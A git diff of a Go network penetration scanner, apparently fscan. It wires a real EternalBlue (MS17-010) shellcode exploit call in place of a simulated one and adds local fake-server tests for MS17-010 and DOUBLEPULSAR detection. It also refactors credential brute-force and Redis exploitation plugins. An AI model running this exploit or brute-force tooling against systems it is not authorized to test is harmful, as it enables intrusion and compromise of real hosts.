shellcode := config.Shellcode
|
shellcode := config.Shellcode
|
||||||
@@ -472,9 +469,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
|
|||||||
return fmt.Errorf("shellcode解码失败: %w", err)
|
return fmt.Errorf("shellcode解码失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 这里应该执行完整的EternalBlue利用逻辑
|
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
|
||||||
// 为了保持代码简洁,我们模拟利用成功
|
return fmt.Errorf("MS17-010 exp failed: %w", err)
|
||||||
// 在实际使用中,这里会调用完整的eternalBlue函数
|
}
|
||||||
|
|
||||||
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,195 @@
|
|||||||
|
//go:build plugin_ms17010 || !plugin_selective
|
||||||
|
|
||||||
|
package services
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
"net"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) {
|
||||||
|
requests := map[string][]byte{
|
||||||
|
"negotiate": negotiateProtocolRequest,
|
||||||
|
"sessionSetup": sessionSetupRequest,
|
||||||
|
"treeConnect": treeConnectRequest,
|
||||||
|
"transNamedPipe": transNamedPipeRequest,
|
||||||
|
"trans2SessionSetup": trans2SessionSetupRequest,
|
||||||
|
}
|
||||||
|
|
||||||
|
for name, request := range requests {
|
||||||
|
t.Run(name, func(t *testing.T) {
|
||||||
|
if len(request) < 36 {
|
||||||
|
t.Fatalf("request length = %d, want at least 36", len(request))
|
||||||
|
}
|
||||||
|
if request[0] != 0x00 {
|
||||||
|
t.Fatalf("NetBIOS message type = 0x%02x, want 0x00", request[0])
|
||||||
|
}
|
||||||
|
payloadLen := int(request[1])<<16 | int(request[2])<<8 | int(request[3])
|
||||||
|
if payloadLen != len(request)-4 {
|
||||||
|
t.Fatalf("NetBIOS payload length = %d, want %d", payloadLen, len(request)-4)
|
||||||
|
}
|
||||||
|
if !bytes.Equal(request[4:8], []byte{0xff, 0x53, 0x4d, 0x42}) {
|
||||||
|
t.Fatalf("SMB signature = % x, want ff 53 4d 42", request[4:8])
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) {
|
||||||
|
addr, cleanup := startMS17010FakeServer(t, true, 45)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
session := newMS17010TestSession()
|
||||||
|
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
|
||||||
|
}
|
||||||
|
if !vulnerable {
|
||||||
|
t.Fatal("expected vulnerable status to be detected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) {
|
||||||
|
addr, cleanup := startMS17010FakeServer(t, true, 36)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
session := newMS17010TestSession()
|
||||||
|
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
|
||||||
|
}
|
||||||
|
if !vulnerable {
|
||||||
|
t.Fatal("expected vulnerable status to be detected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMS17010CheckRejectsPatchedStatus(t *testing.T) {
|
||||||
|
addr, cleanup := startMS17010FakeServer(t, false, 45)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
session := newMS17010TestSession()
|
||||||
|
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
|
||||||
|
}
|
||||||
|
if vulnerable {
|
||||||
|
t.Fatal("expected patched status to be treated as not vulnerable")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMS17010CheckDetectsDoublePulsar(t *testing.T) {
|
||||||
|
addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar())
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
session := newMS17010TestSession()
|
||||||
|
vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
|
||||||
|
}
|
||||||
|
if !vulnerable {
|
||||||
|
t.Fatal("expected vulnerable status to be detected")
|
||||||
|
}
|
||||||
|
if !hasBackdoor {
|
||||||
|
t.Fatal("expected DOUBLEPULSAR status to be detected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newMS17010TestSession() *common.ScanSession {
|
||||||
|
cfg := common.NewConfig()
|
||||||
|
cfg.Timeout = time.Second
|
||||||
|
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||||
|
}
|
||||||
|
|
||||||
|
type ms17010FakeServerOption func(*ms17010FakeServerConfig)
|
||||||
|
|
||||||
|
type ms17010FakeServerConfig struct {
|
||||||
|
doublePulsar bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func withDoublePulsar() ms17010FakeServerOption {
|
||||||
|
return func(cfg *ms17010FakeServerConfig) {
|
||||||
|
cfg.doublePulsar = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
var cfg ms17010FakeServerConfig
|
||||||
|
for _, opt := range opts {
|
||||||
|
opt(&cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("listen: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(done)
|
||||||
|
conn, err := ln.Accept()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
responses := [][]byte{
|
||||||
|
makeMS17010Response(36),
|
||||||
|
makeMS17010Response(sessionSetupSize),
|
||||||
|
makeMS17010Response(36),
|
||||||
|
makeMS17010Response(36),
|
||||||
|
}
|
||||||
|
if len(responses[1]) >= 34 {
|
||||||
|
responses[1][32] = 0x34
|
||||||
|
responses[1][33] = 0x12
|
||||||
|
}
|
||||||
|
responses[2][28] = 0x78
|
||||||
|
responses[2][29] = 0x56
|
||||||
|
if vulnerable {
|
||||||
|
responses[3][9] = 0x05
|
||||||
|
responses[3][10] = 0x02
|
||||||
|
responses[3][11] = 0x00
|
||||||
|
responses[3][12] = 0xc0
|
||||||
|
responses = append(responses, makeMS17010Response(36))
|
||||||
|
if cfg.doublePulsar {
|
||||||
|
responses[4][34] = 0x51
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buf := make([]byte, 4096)
|
||||||
|
for _, response := range responses {
|
||||||
|
_ = conn.SetDeadline(time.Now().Add(time.Second))
|
||||||
|
if _, err := conn.Read(buf); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := conn.Write(response); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
cleanup := func() {
|
||||||
|
_ = ln.Close()
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("fake server did not exit")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ln.Addr().String(), cleanup
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeMS17010Response(size int) []byte {
|
||||||
|
resp := make([]byte, size)
|
||||||
|
if size >= 4 {
|
||||||
|
resp[3] = byte(size - 4)
|
||||||
|
}
|
||||||
|
return resp
|
||||||
|
}
|
||||||
@@ -25,7 +25,9 @@ func NewMSSQLPlugin() *MSSQLPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, config, state)
|
||||||
}
|
}
|
||||||
@@ -43,7 +45,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
|
||||||
|
|
||||||
@@ -63,7 +65,7 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
|||||||
|
|
||||||
// doMSSQLAuth 执行MSSQL认证
|
// doMSSQLAuth 执行MSSQL认证
|
||||||
func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d",
|
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;encrypt=disable;connection timeout=%d",
|
||||||
info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds()))
|
info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds()))
|
||||||
|
|
||||||
db, err := sql.Open("mssql", connStr)
|
db, err := sql.Open("mssql", connStr)
|
||||||
@@ -146,7 +148,7 @@ func classifyMSSQLErrorType(err error) ErrorType {
|
|||||||
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d",
|
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;encrypt=disable;connection timeout=%d",
|
||||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||||
|
|
||||||
db, err := sql.Open("mssql", connStr)
|
db, err := sql.Open("mssql", connStr)
|
||||||
|
|||||||
@@ -36,9 +36,11 @@ func NewMySQLPlugin() *MySQLPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(info, config)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
credentials := GenerateCredentials("mysql", config)
|
credentials := GenerateCredentials("mysql", config)
|
||||||
@@ -54,7 +56,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
|
||||||
|
|
||||||
@@ -137,10 +139,10 @@ func classifyMySQLErrorType(err error) ErrorType {
|
|||||||
return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors)
|
return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult {
|
func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -150,7 +152,7 @@ func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Conf
|
|||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
if banner := p.readMySQLBanner(conn, config); banner != "" {
|
if banner := p.readMySQLBanner(conn, session.Config); banner != "" {
|
||||||
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Type: plugins.ResultTypeService,
|
Type: plugins.ResultTypeService,
|
||||||
|
|||||||
@@ -25,7 +25,9 @@ func NewNeo4jPlugin() *Neo4jPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
@@ -49,7 +51,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
|
||||||
|
|
||||||
|
|||||||
@@ -29,7 +29,9 @@ func NewNetBIOSPlugin() *NetBIOSPlugin {
|
|||||||
// GetPorts 实现Plugin接口
|
// GetPorts 实现Plugin接口
|
||||||
|
|
||||||
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
|
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
|
||||||
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 检查端口类型
|
// 检查端口类型
|
||||||
@@ -49,7 +51,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state)
|
netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state)
|
||||||
} else {
|
} else {
|
||||||
// TCP端口139 - NetBIOS会话服务
|
// TCP端口139 - NetBIOS会话服务
|
||||||
netbiosInfo, err = p.queryNetBIOSSession(info.Host, config)
|
netbiosInfo, err = p.queryNetBIOSSession(ctx, info.Host, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -184,16 +186,16 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
|
|||||||
}
|
}
|
||||||
|
|
||||||
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
|
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
|
||||||
func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) {
|
func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, session *common.ScanSession) (*NetBIOSInfo, error) {
|
||||||
target := fmt.Sprintf("%s:139", host)
|
target := fmt.Sprintf("%s:139", host)
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
|
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
// 发送SMB协商数据包
|
// 发送SMB协商数据包
|
||||||
smbNegotiate1 := []byte{
|
smbNegotiate1 := []byte{
|
||||||
|
|||||||
@@ -24,11 +24,13 @@ func NewOraclePlugin() *OraclePlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 先测试未授权访问
|
// 先测试未授权访问
|
||||||
@@ -48,7 +50,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
|
||||||
|
|
||||||
@@ -178,10 +180,10 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
|
|||||||
@@ -25,7 +25,9 @@ func NewPostgreSQLPlugin() *PostgreSQLPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
@@ -49,7 +51,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, conf
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
|
||||||
|
|
||||||
|
|||||||
@@ -26,11 +26,13 @@ func NewRabbitMQPlugin() *RabbitMQPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 先检测未授权访问
|
// 先检测未授权访问
|
||||||
@@ -50,7 +52,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
|
||||||
|
|
||||||
@@ -209,16 +211,16 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testAMQPProtocol 检测AMQP协议
|
// testAMQPProtocol 检测AMQP协议
|
||||||
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
// 发送AMQP协议头
|
// 发送AMQP协议头
|
||||||
amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01}
|
amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01}
|
||||||
@@ -247,19 +249,21 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
// 对于AMQP端口,检测AMQP协议
|
// 对于AMQP端口,检测AMQP协议
|
||||||
if info.Port == 5672 || info.Port == 5671 {
|
if info.Port == 5672 || info.Port == 5671 {
|
||||||
if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success {
|
if result := p.testAMQPProtocol(ctx, info, session); result != nil && result.Success {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测HTTP管理界面
|
// 检测HTTP管理界面
|
||||||
return p.testManagementInterface(ctx, info, config, state)
|
return p.testManagementInterface(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,9 @@ func NewRDPPlugin() *RDPPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解
|
// Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解
|
||||||
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 配置grdp日志级别
|
// 配置grdp日志级别
|
||||||
|
|||||||
+23
-27
@@ -31,21 +31,22 @@ func NewRedisPlugin() *RedisPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Redis扫描
|
// Scan 执行Redis扫描
|
||||||
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 如果禁用暴力破解,只做服务识别
|
// 如果禁用暴力破解,只做服务识别
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 首先检查未授权访问
|
// 首先检查未授权访问
|
||||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
||||||
|
|
||||||
// 如果需要利用,重新建立连接执行
|
// 如果需要利用,重新建立连接执行
|
||||||
if p.shouldExploit(config) {
|
if p.shouldExploit(config) {
|
||||||
p.exploitWithPassword(ctx, info, "", config)
|
p.exploitWithPassword(ctx, info, "", session)
|
||||||
}
|
}
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
@@ -54,8 +55,8 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
credentials := GenerateCredentials("redis", config)
|
credentials := GenerateCredentials("redis", config)
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
testConfig.Concurrency = 20 // Redis 默认并发度更高
|
testConfig.Concurrency = 20 // Redis 默认并发度更高
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
|
||||||
